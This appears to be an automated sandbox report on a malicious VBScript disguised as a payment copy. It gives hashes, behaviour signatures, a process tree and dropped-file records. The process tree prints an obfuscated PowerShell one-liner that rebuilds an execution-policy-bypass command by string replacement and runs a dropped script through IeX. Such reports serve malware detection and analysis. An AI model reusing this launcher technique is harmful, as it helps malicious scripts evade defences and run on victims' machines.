816d9c966736b02b56d23629f8968fdb4f910fd575c4c07b524bd51948c5d4ed

General

Target

U2M19O_Payment_Copy.vbs
Size

2KB
MD5

13f187df5383e456f90b6c337d9fc0e7
SHA1

5a37a0a1d44f7fd4323234d1a6c8264da4a64ee4
SHA256

816d9c966736b02b56d23629f8968fdb4f910fd575c4c07b524bd51948c5d4ed
SHA512

51d4373ab08780bd7d746f961feb8f8749967bba0c2e785aaeb18b961a62c364be63c86ec3df969e17ea987454ea76628d13d1c0127886f2ac5f840a4af2b6d9

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

472 powershell.exe
1192 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 472 powershell.exe
Token: SeDebugPrivilege 1192 powershell.exe

pid	process
472	powershell.exe
1192	powershell.exe

description	pid	process
Token: SeDebugPrivilege	472	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1684 wrote to memory of 472	1684	WScript.exe	powershell.exe
PID 1684 wrote to memory of 472	1684	WScript.exe	powershell.exe
PID 1684 wrote to memory of 472	1684	WScript.exe	powershell.exe
PID 472 wrote to memory of 1192	472	powershell.exe	powershell.exe
PID 472 wrote to memory of 1192	472	powershell.exe	powershell.exe
PID 472 wrote to memory of 1192	472	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\U2M19O_Payment_Copy.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cc = 'by------------s'.Replace('------------','pas');$bb = '-ex++++++++++++++++icy'.Replace('++++++++++++++++','ecutionpol');$aa = '-no--------------le'.Replace('--------------','profi');$dd = 'C:\Us<<<<<<<<<>>>>>>>>>ar.ps1'.Replace('<<<<<<<<<>>>>>>>>>','ers\Public\Downloads\HB');$Run = 'Powers-----------------dd'.Replace('-----------------','hell $aa $bb $cc -file $');($Run -Join '')|&('I'+'eX')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1192

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
251148e43b64c05e37fd6dda73828d47

SHA1
6e2ba0631c07453aef96e440fbbccae05b900ff8

SHA256
2162ed1ba81c1c9159a5f6518a2fc6353595f8be9cabb4e8031a3b6eeacf4a11

SHA512
645c74035921c1b7155b326d6bc61d39fd6928774e0e6d3c00353a3674c31f7605c5d74d7e008ea800cb0602def48dc0b2991c38018ed2fae65c7fc55e9995f1

Download Submit
C:\Users\Public\Downloads\HBar.ps1
MD5
1bae7491228ed609f685e4ddf0495777

SHA1
e559d10117c683e0dd5d4aac67ae37e6ec29631b

SHA256
f59cff14d9c84126dbfbc12e256f0f6f82e29250920d3d0ecb298a360d501375

SHA512
b757a741ab26161e022ecf7060e41705132c8c099c52a22799c2ef5612d918b19eef782d4bce7aaeed3e99532e0b87e828348bb805160fbb590e38d3afd08035

Download Submit
memory/472-65-0x0000000001F6B000-0x0000000001F8A000-memory.dmp

Filesize
124KB

Download
memory/472-60-0x0000000001F62000-0x0000000001F64000-memory.dmp

Filesize
8KB

Download
memory/472-61-0x0000000001F64000-0x0000000001F67000-memory.dmp

Filesize
12KB

Download
memory/472-58-0x000007FEF2640000-0x000007FEF319D000-memory.dmp

Filesize
11.4MB

Download
memory/472-56-0x0000000000000000-mapping.dmp

Download
memory/472-59-0x0000000001F60000-0x0000000001F62000-memory.dmp

Filesize
8KB

Download
memory/1192-67-0x0000000002410000-0x0000000002412000-memory.dmp

Filesize
8KB

Download
memory/1192-68-0x0000000002412000-0x0000000002414000-memory.dmp

Filesize
8KB

Download
memory/1192-69-0x0000000002414000-0x0000000002417000-memory.dmp

Filesize
12KB

Download
memory/1192-66-0x000007FEF2640000-0x000007FEF319D000-memory.dmp

Filesize
11.4MB

Download
memory/1192-70-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/1192-62-0x0000000000000000-mapping.dmp

Download
memory/1192-72-0x000000000241B000-0x000000000243A000-memory.dmp

Filesize
124KB

Download
memory/1684-55-0x000007FEFBC51000-0x000007FEFBC53000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing